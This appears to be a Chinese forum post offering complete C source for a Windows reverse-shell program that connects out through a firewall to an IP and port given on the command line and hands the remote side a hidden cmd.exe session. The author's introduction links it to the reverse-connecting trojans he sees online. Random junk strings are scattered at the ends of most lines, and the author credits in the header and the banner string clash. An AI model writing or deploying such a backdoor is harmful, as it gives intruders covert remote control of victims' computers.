这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zH+<bEo=1=
FT_k^CC
/* ============================== b]dxlj}
<
Rebound port in Windows NT s,
-*q}
By wind,2006/7 |+/$ g.
===============================*/ )_O.{$
to
#include Y\u_+CG*
#include ` Xqy
@}G|R\2P
#pragma comment(lib,"wsock32.lib") ;qT5faKB3J
`GkRmv*
void OutputShell(); hgj0tIi/
SOCKET sClient; t~~r-V":
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; kGj]i@(PA4
o*)@oU
void main(int argc,char **argv) g*r/u;
{
STp!8mL
WSADATA stWsaData; 2;R/.xI6v
int nRet; W^ClHQ"Iy
SOCKADDR_IN stSaiClient,stSaiServer; X)NWX9^;'
t>@yv#
if(argc != 3) D'?]yyrf
{ G 4"lZM
printf("Useage:\n\rRebound DestIP DestPort\n"); 0nT%Slbih
return; ct.Bg)E
} YUS?]~XC7x
165WO}(;/
WSAStartup(MAKEWORD(2,2),&stWsaData); s'AQUUrb<
D`fc7m
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wbs^(iUU}
9rWLE6`
stSaiClient.sin_family = AF_INET; *lY+Yy(
stSaiClient.sin_port = htons(0); )x9]xqoR
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); iDR6?f P
oP,RlR
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "DzGBu\
{ &}|0CR.(
printf("Bind Socket Failed!\n"); \y,;Cfl<
return; H>Sf[8w)%
} 6DO0zNTY
Z#LUez;&t#
stSaiServer.sin_family = AF_INET; o5V`'[c
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g`
kZT} h
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K5+!(5V~
%)dI2 J^Xf
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :3 PG f
{ 7ozYq_ $
printf("Connect Error!"); e
Ri!\Fx
return; _jk|}IB;X
} 3v G
OutputShell(); o[2Y;kP3*P
} K9LEIby
PgqECd)f
void OutputShell() |/2LWc?
{ {!g?d<*
char szBuff[1024]; Xv]*;Bq:SK
SECURITY_ATTRIBUTES stSecurityAttributes; hX %s]"
OSVERSIONINFO stOsversionInfo; +%x^ RV}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4KZ SL:A
STARTUPINFO stStartupInfo; hxP6C6S
char *szShell; w4`!Te
PROCESS_INFORMATION stProcessInformation; `GP3D~
unsigned long lBytesRead;
Ckw83X
S{Rh'x\B
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); frk7^5
"{mt?
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )ZviS.
stSecurityAttributes.lpSecurityDescriptor = 0; UVnrDhd!0
stSecurityAttributes.bInheritHandle = TRUE; Za34/ro/T
`$f\ %
%d ZM9I0
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); JPHUmv6
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E#8J+7
.!!79 6hS
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); iczs8gj*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z{@=_5;
stStartupInfo.wShowWindow = SW_HIDE; A"`L~|&
stStartupInfo.hStdInput = hReadPipe; M3)v-"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kA1f[AL
,7QBJ_-;QJ
GetVersionEx(&stOsversionInfo); 3s#|Y,{?6R
!Q[;5Lqt
switch(stOsversionInfo.dwPlatformId) rK*hTjVn
{ m]E o(P4+
case 1: ,&-S?|
szShell = "command.com"; BllDWKb
break; <r@bNx@T
default: R
A*(|n>
szShell = "cmd.exe"; ]cS&8{ ^2
break; IQo]9Lx
} s_x=^S3~LO
@F>[DW]O
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nm<L&11
p, !1 3X
send(sClient,szMsg,77,0); (Be$$W
while(1) R
%Rv
{ N=hSqw[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3`mC"ab /
if(lBytesRead) ::kpl2r\c
{ B'NS&7+].
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9)1P+c--
send(sClient,szBuff,lBytesRead,0); B b$S^F(Xq
} QxP` f KC8
else ftDVxKDE?S
{ Rs`Vr_?Hk
lBytesRead=recv(sClient,szBuff,1024,0); +>n.T
if(lBytesRead<=0) break; k*A4;Bm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ADuZ}]
} *'kC8ZR5
} /W7&U
=d9
rGQ86L<
return; 3 (Gygq#
}